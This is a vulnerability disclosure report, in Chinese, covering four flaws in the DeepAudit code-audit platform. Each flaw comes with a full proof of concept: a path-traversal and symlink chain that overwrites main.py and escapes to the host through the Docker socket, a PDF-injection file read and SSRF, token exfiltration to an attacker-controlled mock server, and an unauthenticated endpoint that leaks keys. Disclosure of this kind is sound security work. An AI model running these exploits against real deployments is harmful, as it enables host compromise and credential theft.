# DeepAudit 漏洞报告 软件名称:DeepAudit 开发者或厂商:lintsinghua 代码仓库:https://github.com/lintsinghua/DeepAudit ## 1. 项目 ID 路径穿越导致 RCE 简要描述:攻击者通过导入项目控制 `Project.id`,再经 ZIP 上传接口写入指定路径,最终覆盖 `main.py` 实现 RCE。 影响版本:2.0.0-beta.1 ~ 3.0.4(ZIP 存储与导入由 `bfef3b3` 引入)。 前置条件:攻击者有普通权限账号;受害系统可访问到攻击者提供的 Git 仓库。 ### 漏洞成因 `/database/import` 只校验导入文件中的用户 ID,随后把请求体里的字符串作为 `Project.id`。相关代码如下: ```python # backend/app/api/v1/endpoints/database.py:202-251 commit 5ee9e2297b async def import_database(...): ... data = import_data["data"] if data.get("user", {}).get("id") != current_user.id: raise HTTPException(status_code=403, detail="只能导入自己的数据") ... if "projects" in data: for p_data in data["projects"]: existing = await db.get(Project, p_data.get("id")) if not existing: project = Project( id=p_data.get("id"), ... owner_id=current_user.id, ) ``` `/scan/upload-zip` 的 `project_id` 是 Form 参数,没有 UUID 或路径格式校验。相关代码如下: ```python # backend/app/api/v1/endpoints/scan.py:230-268 commit 5ee9e2297b async def scan_zip( ... project_id: str = Form(...), ... ): project = await db.get(Project, project_id) ... await save_project_zip(project_id, file_path, file.filename) ``` `save_project_zip` 拼接 `project_id` 和扩展名,再用 `shutil.copy2` 复制文件。相关代码如下: ```python # backend/app/services/zip_storage.py:22-48 commit 5ee9e2297b def get_project_zip_path(project_id: str) -> Path: return get_zip_storage_path() / f"{project_id}.zip" def get_project_zip_meta_path(project_id: str) -> Path: return get_zip_storage_path() / f"{project_id}.meta" async def save_project_zip(project_id: str, file_path: str, original_filename: str) -> dict: target_path = get_project_zip_path(project_id) meta_path = get_project_zip_meta_path(project_id) shutil.copy2(file_path, target_path) ``` 当 `project_id` 是绝对路径时,`Path` 会丢弃存储目录前缀,目标路径就变成攻击者指定的位置。再加一层符号链接,`shutil.copy2` 会跟随链接写入链接指向的文件。 符号链接来自 Agent 任务的仓库克隆。`repository_type=other` 时,服务端用 `git clone` 把攻击者仓库克隆到 `/tmp/deepaudit/`,Git 会保留仓库里的符号链接。相关代码如下: ```python # backend/app/api/v1/endpoints/agent_tasks.py:2278,2565-2571 commit 5ee9e2297b base_path = f"/tmp/deepaudit/{task_id}" ... ["git", "clone", "--depth", "1", "--branch", branch, auth_url, base_path] ``` 官方 compose 的 backend 使用 `uvicorn --reload`,相关配置如下: ```yaml # docker-compose.yml:46,69 commit 5ee9e2297b volumes: - /var/run/docker.sock:/var/run/docker.sock command: sh -c ".venv/bin/alembic upgrade head && .venv/bin/uvicorn app.main:app --host 0.0.0.0 --port 8000 --reload" ``` 因此,攻击者先用 Git 仓库创建符号链接 `evil.zip -> /app/app/main.py`,再用路径穿越把内容写到 `evil.zip`,`main.py` 被覆盖,`uvicorn --reload` 自动重新加载时执行。 官方 compose 中,后端挂载了宿主 Docker socket,故容器内 RCE 之后,可以读写宿主机文件系统。 ### 复现环境搭建 使用官方 compose 部署: ```bash git clone https://github.com/lintsinghua/DeepAudit.git cd DeepAudit cat > backend/.env <<'EOF' SECRET_KEY=test-secret-key-for-deepaudit-report LLM_PROVIDER=openai LLM_API_KEY=sk-report-test LLM_MODEL=gpt-4o-mini GITHUB_TOKEN=ghp_REPORT_TEST GITLAB_TOKEN=glpat-REPORT_TEST GITEA_TOKEN=gitea-REPORT_TEST OPENAI_API_KEY=sk-proj-REPORT_TEST EOF docker compose up -d --build ``` 每次复现前先执行 `docker compose down -v` 重建环境。 在攻击者主机上创建带符号链接的 Git 仓库,并启动 `git daemon`。下文以 `192.0.2.10` 表示攻击者主机: ```bash mkdir -p /tmp/evil-repo cd /tmp/evil-repo git init -b main ln -s /app/app/main.py evil.zip git add evil.zip git -c user.email=report@example.com -c user.name=report commit -m init git clone --bare . /tmp/git-root/evil.git git daemon --export-all --base-path=/tmp/git-root --reuseaddr --listen=0.0.0.0 --port=9418 ``` ### 复现过程 注册账号,创建一个 `repository_type=other` 的项目,启动 Agent 任务,等待仓库被克隆到 `/tmp/deepaudit/`: ```python import io import json import time import httpx BASE = "http://127.0.0.1:8000/api/v1" ATTACKER = "192.0.2.10" c = httpx.Client(timeout=60) email = f"zip-rce-{int(time.time())}@example.com" c.post(f"{BASE}/auth/register", json={ "email": email, "password": "Passw0rd!123", "full_name": "zip", }) token = c.post(f"{BASE}/auth/login", data={ "username": email, "password": "Passw0rd!123", }).json()["access_token"] headers = {"Authorization": f"Bearer {token}"} user_id = c.get(f"{BASE}/users/me", headers=headers).json()["id"] repo = c.post(f"{BASE}/projects/", headers=headers, json={ "name": "repo", "source_type": "repository", "repository_url": f"git://{ATTACKER}:9418/evil.git", "repository_type": "other", "default_branch": "main", }).json() agent_task = c.post(f"{BASE}/agent-tasks/", headers=headers, json={ "project_id": repo["id"], "name": "clone", }).json() time.sleep(6) task_id = agent_task["id"] target = f"/tmp/deepaudit/{task_id}/evil" payload = { "data": { "user": {"id": user_id}, "projects": [{ "id": target, "name": "zip", "source_type": "zip", }], } } c.post( f"{BASE}/database/import", headers=headers, files={"file": ("data.json", json.dumps(payload).encode(), "application/json")}, ) code = b"""import os os.system('id > /tmp/rce-marker') try: import docker docker.from_env().containers.run( 'postgres:15-alpine', entrypoint=['sh', '-c'], command=['id > /host/tmp/host-root-marker; cp /host/etc/passwd /host/tmp/host-passwd'], volumes={'/': {'bind': '/host', 'mode': 'rw'}}, privileged=True, remove=True, ) except Exception as e: open('/tmp/rce-docker-error', 'w').write(repr(e)) from fastapi import FastAPI app = FastAPI() """ c.post( f"{BASE}/scan/upload-zip", headers=headers, data={"project_id": target}, files={"file": ("evil.zip", io.BytesIO(code), "application/zip")}, ) print("task_id:", task_id) print("target:", target) ``` `uvicorn --reload` 检测到 `/app/app/main.py` 被覆盖后重新加载,payload 以 root 执行。等待几秒后查看容器内标记: ```bash docker compose exec backend cat /tmp/rce-marker ``` 输出如下: ``` uid=0(root) gid=0(root) groups=0(root) ``` payload 通过宿主 Docker socket 启动 privileged 容器,把宿主根文件系统挂载到 `/host`,于是在宿主侧可以看到: ```bash cat /tmp/host-root-marker cat /tmp/host-passwd ``` 输出如下: ``` uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ``` 本攻击链覆盖 `main.py` 是最简单的破坏性写法。实际上可以写入其他 `.py` 文件,在不破坏系统正常工作的前提下隐蔽地 RCE。 ## 2. PDF 报告 subtitle 注入导致服务端文件读取与 SSRF 简要描述:项目名进入 PDF 报告的 subtitle 时未经过 HTML 转义,攻击者可让服务端读取本地文件或访问内网地址。 影响版本:3.0.2 ~ 3.0.4(报告导出功能由 `c0ac7d0` 引入,后续 `89ebd4d` 的转义修复未覆盖 `subtitle`)。 前置条件:攻击者有普通权限账号。 ### 漏洞成因 `ReportGenerator.generate_task_report` 使用项目名和分支名拼接 `subtitle`。相关代码如下: ```python # backend/app/services/report_generator.py:489-499 commit 5ee9e2297b @classmethod def generate_task_report(cls, task: Dict[str, Any], issues: List[Dict[str, Any]], project: str = "项目") -> bytes: score = task.get('quality_score', 0) context = { 'title': '项目代码审计报告', 'subtitle': f"项目: {project} | 分支: {task.get('branch_name', 'default')}", ``` 模板把 `subtitle` 原样插入 HTML,渲染时使用的 `Template` 没有开启自动转义。相关代码如下: ```python # backend/app/services/report_generator.py:294-300,454-461 commit 5ee9e2297b

{{ title }}

{{ subtitle }}
... template = Template(cls._TEMPLATE) ``` `_process_issues` 对 issue 的 `title`、`description`、`suggestion`、`file_path` 和 `code_snippet` 调用了 `html.escape`,但 `subtitle` 不经过这段处理。相关代码如下: ```python # backend/app/services/report_generator.py:406-447 commit 5ee9e2297b @classmethod def _escape_html(cls, text: str) -> str: if text is None: return None return html.escape(str(text)) @classmethod def _process_issues(cls, issues: List[Dict]) -> List[Dict]: ... item['suggestion'] = cls._escape_html(suggestion) item['title'] = cls._escape_html(item.get('title', '')) item['file_path'] = cls._escape_html(item.get('file_path')) ``` 项目名由客户端在创建项目时提交,随后被 PDF 端点读取并交给 WeasyPrint。攻击者把项目名设为带 `file://` 或 `http://` 的 ``,WeasyPrint 会按 HTML 解析该标签并在生成的 PDF 中附带目标内容。 ### 复现环境搭建 沿用第 1 节的官方 compose 环境,复现前先执行 `docker compose down -v` 重建环境。环境启动后注册一个普通账号,再创建一个 ZIP 类型项目。 ### 复现过程 先把项目名设置为读取 `/etc/passwd` 的 payload,上传一个普通 ZIP 并生成任务,最后下载任务报告: ```python import io import time import zipfile import httpx from pypdf import PdfReader BASE = "http://127.0.0.1:8000/api/v1" c = httpx.Client(timeout=120) email = f"pdf-report-{int(time.time())}@example.com" c.post(f"{BASE}/auth/register", json={ "email": email, "password": "Passw0rd!123", "full_name": "report", }) token = c.post(f"{BASE}/auth/login", data={ "username": email, "password": "Passw0rd!123", }).json()["access_token"] headers = {"Authorization": f"Bearer {token}"} payload = '' project = c.post(f"{BASE}/projects/", headers=headers, json={ "name": payload, "source_type": "zip", "repository_type": "other", "default_branch": "main", }).json() buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as z: z.writestr("hello.py", "print(1)\n") task = c.post( f"{BASE}/scan/upload-zip", headers=headers, data={"project_id": project["id"]}, files={"file": ("source.zip", buf.getvalue(), "application/zip")}, ).json() time.sleep(1) pdf = c.get(f"{BASE}/tasks/{task['task_id']}/report/pdf", headers=headers) reader = PdfReader(io.BytesIO(pdf.content)) print("status:", pdf.status_code) print("attachments:", list(reader.attachments)) for name, parts in reader.attachments.items(): print(name) print(b"".join(parts).decode("utf-8", "ignore")[:2000]) ``` 输出如下: ``` status: 200 attachments: ['passwd'] passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin ``` 把 `file:///etc/passwd` 换成 `http://127.0.0.1:8000/health`,生成的 PDF 附件中是 `{"status":"ok"}`,说明服务端也会向内网地址发起 GET 请求。 ## 3. GitLab/Gitea 仓库地址 SSRF 导致服务端 Git Token 泄露 简要描述:仓库地址可指向攻击者主机,服务端在获取分支时会把全局 GitLab 或 Gitea Token 发送到该地址。 影响版本:3.0.3 ~ 3.0.4(`repo_utils.py` 由 `1c0ec2b` 引入,Gitea 支持由 `0fb10f6` 引入)。 前置条件:攻击者有普通权限账号,且目标配置了 GitLab 或 Gitea Token。 ### 漏洞成因 `parse_repository_url` 只检查 URL 的 scheme,随后把用户 URL 的 `netloc` 作为 API 的 host。相关代码如下: ```python # backend/app/utils/repo_utils.py:38-68 commit 5ee9e2297b parsed = urlparse(repo_url) if parsed.scheme not in ('http', 'https'): raise ValueError(f"{repo_type} 仓库 URL 必须使用 http 或 https 协议") ... base = f"{parsed.scheme}://{parsed.netloc}" if repo_type == "github": ... elif repo_type == "gitlab": ... api_base = f"{base}/api/v4" elif repo_type == "gitea": ... api_base = f"{base}/api/v1" ``` `get_gitlab_branches` 和 `get_gitea_branches` 使用这个 `base_url` 发起请求。当用户没有提供自己的 Token 时,`gitlab_api` 和 `gitea_api` 会回退到全局配置。相关代码如下: ```python # backend/app/services/scanner.py:122-152 commit 5ee9e2297b async def gitea_api(url: str, token: str = None) -> Any: headers = {"Content-Type": "application/json"} t = token or settings.GITEA_TOKEN if t: headers["Authorization"] = f"token {t}" ... async def gitlab_api(url: str, token: str = None) -> Any: headers = {"Content-Type": "application/json"} t = token or settings.GITLAB_TOKEN if t: headers["PRIVATE-TOKEN"] = t ``` 分支接口把全局 Token 传给上述函数。相关代码如下: ```python # backend/app/api/v1/endpoints/projects.py:687-751 commit 5ee9e2297b gitlab_token = settings.GITLAB_TOKEN gitea_token = settings.GITEA_TOKEN ... if project.repository_type == "gitlab": branches = await get_gitlab_branches(project.repository_url, gitlab_token) elif project.repository_type == "gitea": branches = await get_gitea_branches(project.repository_url, gitea_token) ``` 因此,攻击者可以把 `repository_url` 指向自己的服务器,服务端在请求 `/api/v4/...` 或 `/api/v1/...` 时带上全局 Token。 ### 复现环境搭建 沿用第 1 节的官方 compose 环境,复现前先执行 `docker compose down -v` 重建环境,并在 `backend/.env` 中设置测试用 Token: ```bash GITLAB_TOKEN=glpat-REPORT_TEST GITEA_TOKEN=gitea-REPORT_TEST ``` 在攻击者主机上启动一个记录请求头的 Git API mock。下文以 `192.0.2.10` 表示攻击者主机,端口 `8898` 仅作示例: ```python import json from fastapi import FastAPI, Request app = FastAPI() LOG = "/tmp/git-mock.log" def log(request: Request): with open(LOG, "a") as f: f.write(json.dumps({ "path": request.url.path, "headers": dict(request.headers), }) + "\n") @app.get("/api/v4/{rest:path}") async def gitlab(rest: str, request: Request): log(request) if rest.endswith("/repository/branches"): return [{"name": "main"}] return {} @app.get("/api/v1/{rest:path}") async def gitea(rest: str, request: Request): log(request) if rest.endswith("/branches"): return [{"name": "main"}] return {} ``` 启动 mock 服务: ```bash uvicorn git_mock:app --host 0.0.0.0 --port 8898 ``` ### 复现过程 注册一个普通账号,创建一个 GitLab 类型项目,把仓库地址指向 mock 主机,然后请求分支接口: ```python import time import httpx BASE = "http://127.0.0.1:8000/api/v1" c = httpx.Client(timeout=30) email = f"git-ssrf-{int(time.time())}@example.com" c.post(f"{BASE}/auth/register", json={ "email": email, "password": "Passw0rd!123", "full_name": "git", }) token = c.post(f"{BASE}/auth/login", data={ "username": email, "password": "Passw0rd!123", }).json()["access_token"] headers = {"Authorization": f"Bearer {token}"} for repo_type in ("gitlab", "gitea"): project = c.post(f"{BASE}/projects/", headers=headers, json={ "name": repo_type, "source_type": "repository", "repository_url": "http://192.0.2.10:8898/group/repo", "repository_type": repo_type, "default_branch": "main", }).json() response = c.get(f"{BASE}/projects/{project['id']}/branches", headers=headers) print(repo_type, response.status_code, response.text) ``` 输出如下: ``` gitlab 200 {"branches":["main"],"default_branch":"main"} gitea 200 {"branches":["main"],"default_branch":"main"} ``` 攻击者主机上的 mock 日志如下: ``` {"path": "/api/v4/projects/group/repo/repository/branches", "headers": {"private-token": "glpat-REPORT_TEST", ...}} {"path": "/api/v1/repos/group/repo/branches", "headers": {"authorization": "token gitea-REPORT_TEST", ...}} ``` ## 4. 未授权接口泄露OpenAI API key等密钥 简要描述:`/api/v1/config/defaults` 不需要登录就返回服务端 GitHub Token、GitLab Token 和 LLM API Key。 影响版本:2.0.0-beta.1 ~ 3.0.4(`get_default_config` 由 `f640bfb` 引入)。 前置条件:目标配置了服务端 Git Token 或 LLM Key。 ### 漏洞成因 `config.py` 中的默认配置函数直接读取 `settings` 中的密钥。相关代码如下: ```python # backend/app/api/v1/endpoints/config.py:109-150 commit 5ee9e2297b def get_default_config() -> dict: return { "llmConfig": { ... "openaiApiKey": settings.OPENAI_API_KEY or "", ... }, "otherConfig": { "githubToken": settings.GITHUB_TOKEN or "", "gitlabToken": settings.GITLAB_TOKEN or "", ... } } ``` 对应的 HTTP 端点没有认证依赖。相关代码如下: ```python # backend/app/api/v1/endpoints/config.py:152-154 commit 5ee9e2297b @router.get("/defaults") async def get_default_config_endpoint() -> Any: """获取系统默认配置(无需认证)""" return get_default_config() ``` ### 复现环境搭建 沿用第 1 节的官方 compose 环境,复现前先执行 `docker compose down -v` 重建环境,并在 `backend/.env` 中设置测试值: ```bash GITHUB_TOKEN=ghp_REPORT_TEST GITLAB_TOKEN=glpat-REPORT_TEST OPENAI_API_KEY=sk-proj-REPORT_TEST ``` ### 复现过程 不携带 Cookie 或 Authorization 请求该端点: ```bash curl -s http://127.0.0.1:8000/api/v1/config/defaults ``` 响应中的敏感字段如下: ```json { "llmConfig": { "llmApiKey": "", "openaiApiKey": "sk-proj-REPORT_TEST" }, "otherConfig": { "githubToken": "ghp_REPORT_TEST", "gitlabToken": "glpat-REPORT_TEST" } } ``` 该接口同时返回 `geminiApiKey`、`claudeApiKey`、`qwenApiKey`、`deepseekApiKey` 等服务端 Key 字段。